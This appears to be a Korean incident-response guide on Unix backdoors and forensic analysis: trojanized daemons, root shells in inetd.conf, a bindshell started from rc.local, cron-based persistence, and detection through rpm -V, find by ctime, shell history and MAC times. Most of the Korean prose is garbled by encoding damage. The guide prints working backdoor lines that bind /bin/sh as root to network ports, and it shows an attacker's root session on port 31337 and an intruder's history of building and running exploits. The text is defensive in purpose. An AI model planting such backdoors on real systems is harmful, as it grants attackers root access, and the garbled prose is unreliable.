
	 	Telnetd	 ���V^	 ¡"�(trojanized) [er	 ��Xl	 ghb8	 §�c	 �	 :��	 XD
���r	+º�x�	[�
	���Z9	K;. ����	 sshd, tcpd, rlogin, rsh, ftp, inetd	2
»�,�	 [�
r	 ¬gXD	 Ã3	ê�	 [e§p	 @K	 Trojan	e�3	 ��� �	 g±j�
��;¦9	:;.

4.2.4 �6	*+7	�MK	���

  +º�$	[�
r	¬gXD	[e3	�6	*+7	!"Xl	ghb8	§�c	�	:��	X
D	%&�;. 8Â	ý�	��D	%&O	$GZ	�?	[e$	 inetd3	�6*+7	�MXl	g
hb8	 §�c	 �	 :D	 ���r	 /0D	 R�;. inetd	 [eD	 I�w��	 §��<
/etc/inetd.conf	 �6*+7	��	(\	»�,�	[er	�,¢D	��7	XD	i��;. ;H
3	~D	ghbpU	���r	¬gXD	 inetd.conf	*+3	LM�;.

§) }%�!�©ª«� /etc/inetd.conf��j
...

� � � � � � � ingreslock stream tcp�nowait�root /bin/sh� � � sh�-i
2222 stream tcp�nowait�root /bin/sh� � � sh�-i

  ���r	¬gXD	C	;E	~�D	�£	
���	*+p	���r	�,¢D	¯°Z$7
�mXD	 %&�	 :;. �D	 �
��	 �F�j/Z�	 ���8	ªÒjU�	 Xl	 ghb8
�r	 L¬�	 �M�	 �	 :��	 K;. ;ÖK	 %&�	 �Må	 �	 :xñ	 ¢�	 ÚqjD
rc.local3	~r	§�	�¯K;. �_K	���8	 rootkitI	p�	 ��j<	�r	��8	ö§
�-;.

�¬ 1) }%�!�©ª«� /etc/rc.d/rc.local��j



� �    ...
    echo "$R" >> /etc/issue

   echo "Kernel $(uname�-r) on $a $(uname�-m)" >> /etc/issue

   cp�-f /etc/issue /etc/issue.net
   echo >> /etc/issue
fi

/bin/bindshell

�¬ 2) }%�!�©ª«� /etc/rc.d/rc.sysinit� ��j
...
dmesg�> /var/log/dmesg
/bin/bindshell

�­=�_�� bindshell� £�®
>�2���3g� 31337¯�°�!�±²'­$�2�����'&,
31337 °����³��3g� root ´-����³����'­$�µ���'�.

[victime:root�/etc]# ps -ef�| grep�bindshell
root       651     1  0 17:12 tty1     00:00:00 ./bindshell

[victime:root�/etc]# lsof�-p 651
COMMAND   PID�USER   FD� � �TYPE DEVICE   SIZE   NODE NAME
...
bindshell�651 root    3u  inet� � � � 880           TCP *:31337 (LISTEN)

[victime:root�/etc]# netstat�-a | grep�31337
tcp� � � � � � � � 0      0 *:31337                 *:*                     LISTEN

[attacker:root�/]# telnet xxx.xxx.xxx.31 31337
Trying xxx.xxx.xxx.31...
Connected to xxx.xxx.xxx.31.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
: command not found

   
  .� rhosts	 ����Æ	 8Â	���	���	ó3	Xñ�;. .rhosts	 *+p	 ”+ +”� 8Æ:U	j<

ê�	.
�p[	 rlogin, rsh	¯°7	�MXl	D
,0	ä�	��$	�	�	:H7	3�K;.

4.2.5 Cronjob	���

  cronO	�
�	nSr	bÓÀ	(¢D	��	­MK	�.$	º<, ���r	ÐDi	:�[
�	��	­MX;. +º�x�	�6	�þp	���³	���r	ªÒ�G��	 cron	B�:p
���r	/§	�	 :;. +º�$	 cron	B�:3	¡�D	 /var/spool/cron/crontabs/root���. �
�� trinoo agent � ��	 
��
� root � crontab ����.

/var/spool/cron/crontabs/root

* * * * * /dev/isdn/.subsys/tsolnmb�> /dev/null 2>&1

  cron7	�MK	���D	��	;ÖXU	/§�	 ß	 �	 :;. ~r	§<	f�	 1�p	D

,0	 *+p	f�*	 567	�8�;8, f�	 2�p	D
,0	 *+7	�de�	�t`��
cronjob7	/§�	`D	P��	:;. ghbD	f�	 �þ	 1 - 2�	��p	�
�p	§��
�	 :xf, nSb8	 cron	B�:7	 ¹�X�	 �D	 �d	 §G�	 �U	 �;. cron7	 �MK
C	;E	%&O	��	 cron	B�:p	2�j�	:D	6d�$	��� 7	���³	��� 



x�	��D	 R�;. nSbD	 cron	B�:7	 ¹�X/Z�	 �dK	 R7	 ÚqX�	 î�	 R
�;. CK	 lrkpD	�6	 cron	��S8	y��	���	XD	��� �	:�	�r	�MX<
/�	��L�	ö§U	�;.

4.2.6 Library ���

  Unix �
�O	��� 3	��r	u��	¡(	b¢	�MjD	��7	��MXD	gM	Z
�1_S(shared Libraries)r	�MK;. ��	ghbD	�_K	Z�1_Sp	���r	ÐD;.
~r	§<	 login ��� �	�MXD	 crypt() ��p	��g	���r	Ð�`7	�	:;.

4.2.7 Kernel ���

  w�(Kernel)O	­®
	�
�3	�ÐF
�;. ÷X3	�
�O	�M3	ySr	¡(	ªÒ
j9	:D	w�p	f�*	 �æ7	XD	w�ê�7	�0�	�	:��	 j�	:;. �_K	y
S¤O	ghbpU	w�	���r	ÅTU	���	�	:��	K;. �ª	w�	���r	��
½	��XU	j<, �r	�D	RO	Ã3	_8æX;. ��	Ï	�
�H�	w�	���p@K
�[Ë	�.§�	ñË	:�, 8Â	¡��$	���	�;. ghb§�	w�	���	�.r	�
l��	�M�	P�pD	��©	�	: �/, "/þ	w�	���r	¬@�	�M�	u	sU
j<, '(	�
�p[	ghô�7	�D	R�	�¢	ö§�	ß	R�;. ;HO	��	¡	 st
�	:D	w�	���p	@K	�¯x�	w�	���r	��XDi	���	å	R�;. X�/
K7	/	¢"XDi, �_K	�.r	¬@�	�M�	P�	�r	��X�D	�£	�t,-;.

� J9b¼	 : w��º	���	
�	y9[	 - knark	-, CERTCC-KR
	 	 	 http://www.certcc.or.kr/paper/incident_note/in2000004.html

4.2.8 File System ���

  ýO	ghb§O	bc�	�MXD	gh	��� , 
¦?	i�G, ø
¤0	27	èÂX�
¡(	*+�
�7	�MXf, �S9	�r	y��	���	m��	¡Xl	¡"�	 ls, du 2I
ÍO	���	��� 7	�MK;. X�/	�D	�!�	nSbp	3(	TU	��å	�	:;.
�Z[	¥/	9��3	ghbD	+º	*+�
�7	�MX�y;D	X0	0Z�1p	bc/

�	IX�	 �	 :D	 F
7	 /§�	`9	 �r	 �MX��	 K;. +º	 nSbpU	 �F
O
“bad sector"�/	y+	R�;.

4.2.9 »�,�	���

  ghbD	�
�p[¦/	�¦Z	»�,�	�j§�	8æK	K	m�t9	K;. �S9	�
_K	»�,�	���D	aa	 Firewall7	�¨�	�	:D	�à7	¬gX��	K;. »�,�
���D	¢�	�6	V�7.r	�MX�/, �D	nSb8	TU	s�©	�	:�	ú�p	V
�r	�MX�	�D	���r	�MX��	K;.

o TCP shell ���
	 	�6	V�7.r	�MXl	ghb�FG3	I�7	N�§�D	����;. +º�x�	;
E	��O	IX�	�	ä��	 bc/�	�D	D
,0r	��`��	K;. �D	 netstat	 ¯°
�ñ, nmap	23	V�	
©ªr	�MXl	Ut-	V�r	��©	�	:�/, SMTP	V^	ô½
�MjD	V�r	 �MX<	 nSbD	 (\	V�8	 ���$�	 �¦<	 6d�$	 [�
$�

.HX�	ö§U	�;.

o UDP shell ���
	 	UDP D�7	�MK	����	TCP V^	wx57	���	��	ú�p, netstat	¯°x�	g
hb8	 I�XD	 R7	 s�L�	 îK;. CK	 Firewallp[	 Ut-	 UDP V�r	 �MXl



Firewall7	�¨�	��	:;. X�/	��	 nmap	 23	V�	
©ªr	�MXl	Ut-	V�
r	��©	�D	:;.

o ICMP	shell ���
	 	 Ping O	 8Â	�S	 �MjD	 »�,�	 ��� �;. icmp	 ���D	 �_K	 ping D�p
i�Gr	«�	�ÞXD	���	�;. ô½, covert channel �Z9�	K;. nSbD	à
½
ping�	�98D	 Rx�/	�àXU	 jf, �r	��X�	¡([D	 ping i�G	D�7	 

�(W/	K;. ��	DDoS	�.$	TFNp[	�Mj¾;.

  ;HO	 nmap7	 �MXl	�6	 TCP V�8	Ut:D�	 ¹�XD	 %&�;. ¬+	 ��
V�7.8	Ut	:Di, �D	6d�$	[�
8	�¦;. telnetx�	I�([	���	V�
¬7	#$(	­	�	:;.

# nmap�-sT�-p 1-65535 xxx.xxx.xxx.xxx
Starting nmap�V. 2.3BETA6 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Interesting ports on victime�(xxx.xxx.xxx.xxx):
Port    State       Protocol  Service
7       open        tcp� � � � � � � echo
19      open        tcp� � � � � � � chargen
...
65535      open� � � � � � � � tcp� � � � � � � unknown

# telnet xxx.xxx.xxx.xxx�65535
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
#

4.3 ����������������:;<=:;<=:;<=:;<=����>?>?>?>?����-@-@-@-@����45454545

	 	û[	�¯K	RV^	ghb3	ô�7	\®¢D	;ÖK	���, ���³, ���	��� 
�	:�	ú�p	'(	�
�3	�
�	¯°O	¯9	�M�	�8	ä;. �S9	c�E	
�
I	�
�	�.r	¡([D	�_K	ê�	��� 7	��LW	K;. °±	�
�	�	��Z
D	 þàK	 �.	 %&�	 :�D	 X�/, 6#K	 
��	 �²�	 �D	 �.D	 q=	 ���$
?m7	 \XU	 /�;. ;HO	 ��K	 ��� §�	 !"j¾D�	 #$�	 �	 :D	 %&7
�¯K;.

  o �
�	��� 3	*+	��, Timestamp(Î¤�þ, !P�þ	2) #$

  ls, ps, netstat	 2	���³x�	b¢	�MjD	��� 3	*+��³r	Ì	ÍO	OS, e�
3	;E	�
�3	��� I	��Xl	!"	lFr	s	�	:;. C	;E	%&O	(\	��
� 3	Î¤A´	 CD	!P�þ7	;E	�
�	¯°3	A´Ë	��(	µx�[	!"­�r

s	�	 :;. /0	��� 	��8	;²Ãñ	A´8	;²;<	��� �	!"j¾7	8æ
¤�	��	 �;. X�/	 �_K	 ��� 3	 ��Ë	 timestampr	¶@�	 �6�	 �	 :��
(¢D	gh��� �	:�	ú�p	#ªK	%&O	�¦;.

  o �
�	·	��

  ���³x�	3Ð8D	��� (ls, ps, netstat	2)�	ªÒå	ú	.�jD	�
�	·I	6d
�$	��� 3	�
�	·7	��Xl	�
�	¯°3	!"­�r	#$�	�	:;. trussñ
strace	¯°7	�M�	�	:;. �p	@([D	û[	~r	§�	�¯X¸;.

  o �q¤	¹�



  MD5 23	 checksum }7	�MXl	*+3	!"	­�r	s�©	 �	 :;. �øp	 tripwire
Ë	ÍO	�q¤	¹��.�	�
�	*+p	@(	nSr	X9	:D	P�pD	TU	�
�	¯

°3	!"­�r	s�©	�	:;. X�/	 checksum }3	 DB8	()\K	�
�	Lp	:;
<, ghb8	 checksum }7	¡"�	�	:�	ú�p	�	CK	¹�½	¯7	�	:D	RO	�
¦;.

	 	�q¤7	¹�XD	;E	%&ó3	XñD	Ï	 OS º/p[	¬gXD	 checksum }7	 �M
Xl	 ��(	 yD	 %&�	 :;. ;HO	j0»I	 Solaris �
�p[	�_K	 checksum }7
��(	yD	%&7	�¯K;.

  redhat3	P�	��Ë	ÍO	¯°7	�MXl, ê�	���	DG�	CD	�6	DG�3	!
"­�r	¹��	�	:;.

# rpm -V -a   ---> ê�	���	DG�3	!Àp	@Xl	¹�
# rpm -V DG��|	 	 ---> �6	DG�p	@([/	!ÀlF	¹�

	 	;HO	'(	�
�p[	 rpm ¯°7	�MXl	���³	 ls	��� 7	#$K	~�;.

[victim@consult /root]# rpm -V fileutils
S.5....T   /bin/ls

S : £�:¤����¶!�·V
5 : md5 chechsum�¸��·V
T : �j��mtime ¸��·V

	 	;HO	 redhat	Linuxp[	¹�(­	vw8	:D	¢w	DG�	�|	}	Vp�	��� p
@K	6y�;.

util-linux-2.7-18 /usr/bin/chfn
/usr/bin/chsh
/bin/login

fileutils-3.16-9   /bin/ls
passwd-0.50-11 /usr/bin/passwd
procps-1.2.7-5 /bin/ps

/usr/bin/top
rsh-0.10-4 /usr/sbin/in.rshd
net-tools-1.33-6 /bin/netstat

/sbin/ifconfig
sysklogd-1.3-22 /usr/sbin/syslogd
netkit-base-0.10-10 /usr/sbin/inetd
tcp_wrappers-7.6-4 /usr/sbin/tcpd
psmisc-17-3 /usr/bin/killall
SysVinit-2.74-4 /sbin/pidof
findutils-4.1-23        /usr/bin/find

  solaris3	P�	 ;H	 ���p[	b�	¬¼	 }	 �
�p	@K	 fingerprint [�
r	 ¬gX
9	:;. (\	½��p[	md5 ��� 7	;*	N�	��X9	¹�X9b	XD	*+3	â
�¾}7	/§�	�r	��(	y<	*+3	!"­�r	s	�	:;.

http://sunsolve.Sun.COM/pub-cgi/show.pl?target=content/content7



4.4 ����������������������������	
	
	
	


	 	'(	�
�7	
�K;D	RO	q=	gh3	ô�, k	{Ãr	��LD	I6�;. X�/
�p	@K	%&�ñ	ÛÜD	+º�x�	6�Àj�	:�	�9, ¢�	PQ7	oXl	���
�D	P�8	ý¿;. ÷Xp	 "Computer Forensics" ZD	�|x�	�_K	%&p	@Xl	I¿
�x�	IXXtD	��§�	ý�	ñ9	:;. l�[D	ghb§�	�MXD	gh�., ��
�, ���, CD	 ���³p	 @K	 ��7	�Àx�	 '(�
�7	 
�XD	 %&p	 @Xl
�¯K;. �S9	�_K	
�7	â5�x�	�Ë¢D	g±M	�.r	�MK	%&�	ø±K
;.

4.4.1 �
�	de	b¼	
�

  �è	û[	�S�Á	6y(Freezing The Scene)r	ÂÃ�;. à	�	6yD	����ñ	���
8	��j�	:�	�7	P�p	c�E	6yr	yl�;.

   o ps : sniffer CD	�0á	
Ä	��� 	2	gh	��� �	ªÒj9	:D�	ÂÃ�;.
¢�	�øp	y�	î�Á	��R
r	#$(	y<	�;.

   o lsof	 : �
�d3	ê�	��R
8	�MXD	Ut-	*+	6yr	yl�;. �D	 ps ¯
°7	�MK	6yr	@â�	�	:;.

	 	 	 o netstat	 : [�
X�	�D	V�8	Ut	:D�	CD	�dK	����(p[) I��	:D
�	#$K;.

	 	 	 o last : �MX�	�D	56	CD	�dK	���p[	��$K	6yr	#$K;.
   o who : �8	I�(	:¾D�	#$K;.
   o nmap	V�
Ä	qI	 : '(	�
�p	�dK	V�8	Ut:D�r	#$K;.
� � � � �� ¹�º»� }%�>�!¼� ½;�¨$��� '+�D���. �+�	
���[�¾�¿�� �5��

'�m&�ÀÁ�
�Â�-�.�Ã���2-��3>�u�-�.

  AAAA���� BCD�BCD�BCD�BCD����� �E'�E'�E'�E'���� FGHFGHFGHFGH���� IJIJIJIJ����A��3A��3A��3A��3���� KL�+KL�+KL�+KL�+����MN(MN(MN(MN(���� ���������������� EOEOEOEO����PPPP���� �QD�QD�QD�QD����R/R/R/R/

SSSS����TTTT����UVUVUVUV����W$XYW$XYW$XYW$XY����'1'1'1'1.	�S9	/0	ghô�7	ÚqXU	j<	�r	óÐx�	RF�$

�7	X<	�;.

  /0	����	��j�	:;<(�
�	*+	!"lF	#$%&	J"), ÌÍO	e�3	;
E	�
�p[	�
�	¯°7	��([	�MXÃñ, F
�x�	�
�	DG�r	;�	��
([	 
�K;. à	 ;�	DG�r	 ��XU	 j<	 ýO	 ghô�§�	 ä�ß	 �	 :;. �S
���	
��
�7	�MXD	R�	8Â	�O	%&�;.

  !"�	 'ps', Ë	 'netstat'r	@c([	�M�	�	:D	��� x�D	 'lsof(List	Open File)' Z
D	��� �	:;. �	�.D	'(	�
�	
�p	:�	v�	�$	�.�, �6	��R

8	�MXD	ê�	U�	*+7	s	�	:��	(�;. CK	�6	Ut-	V�r	��	��R

8	 �MX9	 :D��	 s	 �	 :;. j0»3	 P�	 �l��	 ��j�	 :7	 R�f, �@
�
�3	P�	;H	���p[	ø
r	;*N�	��XlW	K;. �øp	bc�	nSXD
�
�p	@K	 lsof	��ªSr	/§�	6D	R�	()�9�	ïS	@AX�p	�;.

ftp://vic.cc.purdue.edu/pub/tools/unix/lsof	CD
ftp://ftp.sunet.se/pub/unix/admin/lsof/

  ���7	'(	8D	C	 ;E	%&x�D	���	�6*+7	��[	�r	 äÅD	R�;.
ýO	?mb§O	�l�	�noSp	���	�6*+7	/§�	ú�p, nSbD	�r	TU
��L[	¬Ã�	�	 :;. @F
3	���O	�6*+p	2��	LM7	m�D	�æ7	 K
;. �Z[	�6*+3	LM7	��<	 ls, ps, netstat	 2I	 ÍO	!"�	���³	��� 7
�@�	�M�	�	:U	�;.



  /0	�Æ	 �	ä�	'(	�
�p	@K	 bit ���r	�ãX�	�9, íZ$x�	'(	�

�7	�I	 
��	P�pD(
øK3	'(	�
�	
�7	q6K	P��;), �è	¡p[
�¯K	6yË	/_�	;HI	ÍO	¢w	6yr	;E	z�K	�
�p	��(	6�W	K;.
?mbD	L¬�	�
�7	*õ�	�	:�	ú��;.

o �
�3	ê�	��	*+
o inetd.conf, D
,0	*+, �@	¢w	�6	*+
o ¢w	�noSp	@K	 ls	-alt qI	}(~, /dev, /, /etc, �Mb	Ç	�noS	2)
o find / -ctime	-ndays	-ls	qI	}

  � ���ÄÅ-��bcD�$�ÆÇ�Ã�, find ��$����R�!È--�É`��3
>�ÊË-�.

	 o Úq�, ?mb8	�MK	�noS	*+	2
o �@	�
�7	
�X<[	ñí	6y§

4.4.2 gh	�þ@r	óÐx�	
�

  @"�$	gh�þ@r	s	P�pD	'(	�
�	
��	�/i	È,-;. @F
	�_K
gh	�þ@D	�9	I�	�þ�ñ	�9	LMp	ÉO	��3	�þ@�	s	�	:;. =>p
[	�9n!	4+7	NO	P�pD	�SñZ	�þ@�	5|(W	K;.

Greetings,

   On March 2, 2001 we detected a scan on our network for the RPC�Portmapper
service (port 111/tcp).  This scan appears to have originated from xxx.xxx.xxx.10
which is registered to your domain.
   Either some third party has compromised xxx.xxx.xxx.10 and is now using it
to attack others sites or a legitimate user(s) of xxx.xxx.xxx.10 are engaging in practices
that are not condoned under most company or ISP acceptable use policies.
   Please see that this incident is investigated and appropriate action taken to secure
your host/network.  Below are the logs from the incident, date/time stamps are
in central standard time.

Thanks,

Mar  2 13:35:39 xxx.xxx.xxx.10:4880 -> yyy.yyy.yyy.131:111 SYN **S*****
Mar  2 13:35:39 xxx.xxx.xxx.10:4881 -> yyy.yyy.yyy.132:111 SYN **S*****
Mar  2 13:35:39 xxx.xxx.xxx.10:4882 -> yyy.yyy.yyy.133:111 SYN **S*****
Mar  2 13:35:39 xxx.xxx.xxx.10:4883 -> yyy.yyy.yyy.134:111 SYN **S*****
Mar  2 13:35:39 xxx.xxx.xxx.10:4884 -> yyy.yyy.yyy.135:111 SYN **S*****
Mar  2 13:35:39 xxx.xxx.xxx.10:4885 -> yyy.yyy.yyy.136:111 SYN **S*****

  ¡Ë	�JK	()�9	n!	4+7	N¿7	P�, 4+p	Vp�	��	6yr	8�9	@"
�$	
�	A´r	�Ô�	�	:;. ¡p[D	 3É	 2+�	ñ�9	:Di, �D	'(�
��
;E	�
�7	ghK	�þ�Ê�	 3É	 2+	�ép	!P�	*+7	óÐx�	
�7	X<	

�£ã�	È,ß	R�;. /0	�
�	
�7	 3É	 6+p	K;<	;HI	ÍO	¯°x�	�
��FG	 10+	����	!P�	*+7	�7	�	:;.

# find / -mtime -10 -ls

  ghbD	ô½	�
�	*+3	!Àr	m��	¡(	�þ7	�6XDi, �Ë	 P�pD	*
+3	 inode	!P�þ(ctime, file attribute change time)7	á¹X<	�;. ;H	¯°O	�Ì	 n A
´Óz	�6�	 inoder	�D	ê�	*+7	���;.

# find / -ctime	-ndays	-ls

  vwK	P�	 ndaysr	Í
½	�U	�6Xl	�	qIr	"�X<	�;. ¥/	 �þ�	�Î



¦�;. ;HO	'(	�
�p[	gh�þ@	�é�	 ctime�	!P�	*+	S
��;. �	ó
p[	()I	n!	ô�/7	yl�;.

� � � � � � ��¬)  find / -ctime�-10 -ls�]Ì�<=��j
...
/dev/ptyq�/xxx.mil --> �Í������B-�
Î���<=��j
/dev/ptyq�/state.xx.us
/dev/ptyq�/xxxx.xxx.mil
/dev/ptyq�/xxx.mil.os

� /dev/ptyq�/state.xx.us.os
...
/etc/rc.d/init.d --> 	Ï�
»Ð���j��}%�>�Ñ`�Ò�
/etc/rc.d/rc.local
...
/var/.../s.c --> �,�£�:¤
/var/.../s
...
/bin/ls --> 6{	
���j��B-����¥��5�Ò�
/bin/netstat
/bin/ps
/bin/login
/bin/sk8er
/bin/syslog
...
/home/sk8er/... --> �� !����+�ÓÔÕ;�E�£�:¤
/home/sk8er/.../a
/home/sk8er/.../z0ne
/home/sk8er/.../statd-linux.c
/home/sk8er/.../b00ger
/home/sk8er/.../b00ger/scan.c
/home/sk8er/.../statd --> rpc.statd�Ö×Ø����£�:¤
/home/sk8er/.../cmsd --> cmsd�Ö×Ø����£�:¤
/home/sk8er/.../rpc-cmsd.c
/home/sk8er/.../edu.ips
/home/sk8er/.../it.ips
/home/sk8er/.../it.vuln
/home/sk8er/.../kr.log --> kr %Ù���B-�Ö×Ø�
Î�V=��j

4.4.3 ¡	st-	gh�&p	@Xl	
�

  ghb8	¢�	��K	*+7	/§9	�MXD�, ��K	���r	Ð�`D�p	@K	�
�	��7	�Àx�	
��	�	:;. �D	û[	�¯K	���, ���	2p	@K	��I	ý
O	PQ7	vw�	K;. 6#K	
�O	�¦�/	@F
3	ghô�, gh%&7	TU	s�
©	�	:;. ;HO	'(	�
�	
�	�	8Â	+º�x�	á¹XD	F
�;. �D	û[	�
¯K	���, ���I	n!�	:;.

	 	 o /etc/passwd	*+	á¹
	 	 	 	 - f�	Î¤�	56
    - uid	0 $	56
	 	 	 	 - D
,08	äD	56

  o history *+	á¹
      ghb8	 history *+7	3¬X�	�¿;<, �	*+p[	d\½	­MK	6yr	d7

�	:;. �Z[	�è	 rootñ	 3Ð�	 8D	�Mb	Ç�no3	 history *+7	á¹K;.
;HO	 '(�
�p[	 ÚqK	 history *+3	 LMx�	 ghb8	 "/var/..." �noSr
/§9	gh	��� 7	;*N�	;E	l_	���r	ghXD	I67	yl�;.



� � � � ��¬) root�� history �j�Ú�
/bin/sk8er
mkdir�/var/...
cd�/var/...
cd�/etc/hosts

� � pico /etc/hosts
ls
ftp ftp.xxx.net
ls
...
pico s.c
gcc�-o s s.c
./s c55509-a.xxx.xxx.xxx.com�1000

...
mv b00ger-rpc.tar.gz�...
cd�...
gunzip�b00ger-rpc.tar.gz
tar -xf�b00ger-rpc.tar
mv b00ger-rpc�b00ger
ls
./z0ne�nl�> nl
chmod�+x z0ne
./z0ne�nl�> nl
./z0ne�-o nl�> nl
...

  o cron, at B�:	á¹
	 	 	 	 - /var/spool/cron/crontabs/ �noS3	ê�	*+, �½	 "root" *+	á¹
	 	 	 	 - /var/spool/cron/atjobs/ �noS3	ê�	*+
	 	 	 	 - ¡	*+p	63�	ê�	ªÒ*+p	@K	á¹(Ï�	���³�	�Ð�r	á¹K;)

  o m=-	�noS	á¹
      ghb§O	 ¢�	 "." ñ	 ".."x�	�£XD	 �noSr	/§�	 �MK;. �D	 nSb

8	 ��Ë	Ñ5	 ä�	 "ls" ¯°7	 �M�7	 ú	 y��	 �U	 �;. �Z[	 ;HI	 ÍO
¯°x�	m=-	�noSr	��yD	R�	ÒI�$	%&�;.

# find / -name "..*" -print CD
# find / -name ".*" -print

      ghb§O	 ¢�	 "/dev", "/var", �S9	 Ïa	 "tmp" 2	 +º�x�	 *+�	 �¢	 ýO
�noS	CD	��ñ	��	8æK	�noSp	�_K	£ã	�noSr	/0D	P�8

ý;. ”/dev" �noS3	P�	yo	+º�$	*+�	��X�	�xÊ�	;HI	ÍO	¯
°x�	+º	*+7	��L[	�	LM7	á¹X<	�;. @F
3	���, ���	�6
*+�	�l��	 "/dev” �noSp	��jÊ�	TU	��©	�	:;.

# find /dev	-type f -print

      ��	 P�pD	ghb8	�noS	�|p	��	�br	�MXl	�	�|7	s	�	ä
D	 P�8	 :Di	 �úD	 �noS	 S
�r	 *+�	 èÂXl	 y<	 �	 �|7	 s�©

�	:;.

� � � � � � ��¬) ls�-al�ÛÜ���3���\+�ÓÔÕ;��µkÚ7
� # ls�-al

drwxr-xr-x   2 root     other        512  3Ý� � 6j� � 13:31 /  --> ÓÔÕ;��Þ��\3ß
drwxr-xr-x   4 root     other        512  3Ý� � 6j� � 13:34 ./
drwxr-xr-x  19 rewt� � � � � other       1024  3Ý�� 6j� � 13:25 ../



drwxr-xr-x   2 root     other        512  3Ý� � 6j� � 13:25 ../ --> ÓÔÕ;��Þ��\3ß

# ls�-al�> ls.log
# vi ls.log
drwxr-xr-x   2 root     other        512  3Ý� � 6j� � 13:31 ^B^F/
drwxr-xr-x   4 root     other        512  3Ý� � 6j� � 13:34 ./
drwxr-xr-x  19 rewt� � � � � other       1024  3Ý�� 6j� � 13:25 ../
drwxr-xr-x   2 root     other        512  3Ý� � 6j� � 13:25 ..^B/

  o ���	*+	á¹
	 	 	 	 - �Mb	Ç�noS3	 ".rhosts", ".forward" *+	LMá¹
	 	 	 	 - /etc/inetd.conf, /etc/services *+	LMá¹
	 	 	 	 - /etc/rc.d/ �noSL3	*+	LMá¹

  o ���³	��� 	á¹
	 	 	 	 - login, ps, netstat, find, ls, ifconfig, inetd, passwd, syslogd, tcpd, top 2	���³x�	¡	�M

jD	��� 

	 	 	 	 - in.telnetd	2	 inetd.conf	*+p	2��	ê�	»�,�	[e	ªÒ	*+
	 	 	 	 - /lib/libc.so.* (on Suns) 23	Z�1_S

  o root ø­3	SUID	tK	*+	á¹

# find / -user root -perm -4000 -print

4.4.4 MAC timep	XÃK	
�

­®
	 �
�¦/	 �¦Z	 @F
3	 *+�
�O	 ê�	 �noSñ	 *+I	 n!�	 �þ

�¤(mtime, atime, ctime)7	 �D;. �S9	 �_K	 �þ�¤O	 �
�, CD	 �Mb	 òÓ
(Activity)p	@K	6y	 2	 '(	 �
�7	
�XDi	��	ówK	6yr	¬gK;. �_K
�þ	�¤7	ul[	MAC time�Z9	K;.

O atime( �� IX(access)) :  ��x�	*+7	�Ã(read)ñ	ªÒ(execution)�Y	�þ
  O mtime( �� !P(Modification) �þ) : *+7 Î¤(creation)K �þ, CD  ��x�

*+LM7 �Ó �þ
  O ctime( �� *+�¤ !P(status change) �þ) :  ��x�	*+3	ø­b, �Ô, ?�

5	 2�	!P�	�þ, dtime�	äD	�
�p[D	 ctime7	*+3	3¬�þx�	�6
�	�	:;.

O dtime(3¬(deletion) �þ) : *+ 3¬�þ
 

  MAC time O	ghb8	'(	�
�p[	��K	ÒÓ7	�D�p	@(	�à�	�	:D	b
RK	6yr	 ¬gK;. ~r	 §�	ghb8	 ��	 ��� 7	Î¤X9, ´*+X9, ªÒ�
D�p	 @K	 6yr	 s	 �	 :xf, ��K	 ��� 7	 !"�ÕD�p	 @K	 6y�	 s	 �
:;. CK	 ctimeI	 inode	 6yr	��XU	j<	�,-	*+p	@K	6yË	LM7	�.�
�	:;. �½, MAC time7	�þ
[�	6Ö([	
�XUj<	?mb3	+!3	ÒÓ7	�
Ô�	��	:U	�;.

  ;HO	?mb8	'(	�
�p[	 sniffer ��� (linsniff.c)7	´*+X9	 "telnetd" ���
 x�	�|7	!PK	P�, '(	�
�p[	MAC time�	!P�	*+§7	�þ!Àp	�
Z	yl�;.



	�� � � � � � � � � � � size  mac
  -------------------------------------------------------------------------------------
  XXX�12 XX 11:36:59    5127 m.c�-rw-r--r-- root     root     /x/etc/..___/linsniff.c
� �XXX�12 XX 11:37:08    4967 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/if.h
� � � � � � � � � � � � � � � � � � � � � � � � 3143 .a. -rw-r--r-- root  root     /x/usr/src/linuxelf-1.2.13/include/linux/if_arp.h
� � � � � � � � � � � � � � � � � � � � � � � � 3145 .a. -rw-r--r-- root root� � � � � /x/usr/src/linuxelf-1.2.13/include/linux/if_ether.h
� � � � � � � � � � � � � � � � � � � � � � � � 1910 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/ip.h
� � � � � � � � � � � � � � � � � � � � � � � � 2234 .a. -rw-r--r-- root   root     /x/usr/src/linuxelf-1.2.13/include/linux/route.h
� � � � � � � � � � � � � � � � � � � � � � � � 1381 .a. -rw-r--r-- root    root     /x/usr/src/linuxelf-1.2.13/include/linux/tcp.h
� �XXX�12 XX 11:37:10    2048 ..c drwxr-xr-x root     bin      /x/usr/sbin
� �XXX�12 XX 11:37:14    2048 m.. drwxr-xr-x root     bin      /x/usr/sbin
� �XXX�12 XX 11:37:15    8179 m.c�-rwxr-xr-x root     root     /x/usr/sbin/telnetd
� �XXX�12 XX 11:37:48    8179 .a. -rwxr-xr-x root     root     /x/usr/sbin/telnetd
� �XXX�12 XX 11:41:52   77476 .a. -rwxr-xr-x root     bin      /x/usr/sbin/wu.ftpd
� �XXX�12 XX 11:42:08    4096 mac -rw-r--r-- root     root     /x/var/pid/ftp.pids-remote

  ­®
	 �
�p[D	 �_K	 MAC time7	 bR½	 
��	 �	 :D	 ��� �	 ¬gj�
��	ú�p, ;E	�.r	�MXlW	K;. �� OO �.8	g±j�	:xf× �_K �
.D	MAC time7	�ØXl	�Ù��	�¯K	'(	�
�	
�7	¡K	;ÖK	�.r	¬g
K;.

  MAC time7	8�9	�
�7	
��	P�	¢3�	RO	 nSb8	à
½	�
�7	Ú_
y�/	 (�	MAC time�	 !P�;D	 R�;. �½, findË	 ÍO	 ¯°7	 �MX<	 atime�
!Pj�	 ú�p	 ¡3	 ~Ë	 Í�	 ?mb8	IX�Á	 P�r	d7	 �	 äU	 �;. k, MAC
timeO	�¢	!Pj�	È*	 6y��	ú�p, '(	�
�7	
�X�p	û[	 TCTË	ÍO

��.r	�M(	MAC time}7	uvXlW	K;. 8Â	�O	%&O	
��
�7	�MX
l	'(�
�7	
�XD	R�;.  y;	bRK	�¯O	 "IV. '(	�
�	
�	�.”r	J
"X�	�Û;.

	 	MAC time7	�MK	
�p�	°±	K58	�E;. �Üy;	MAC timeO	*+p	@K	÷
X3	 ��	!P	�þ/7	þ�X9	:�	ú�p, òÚK	�
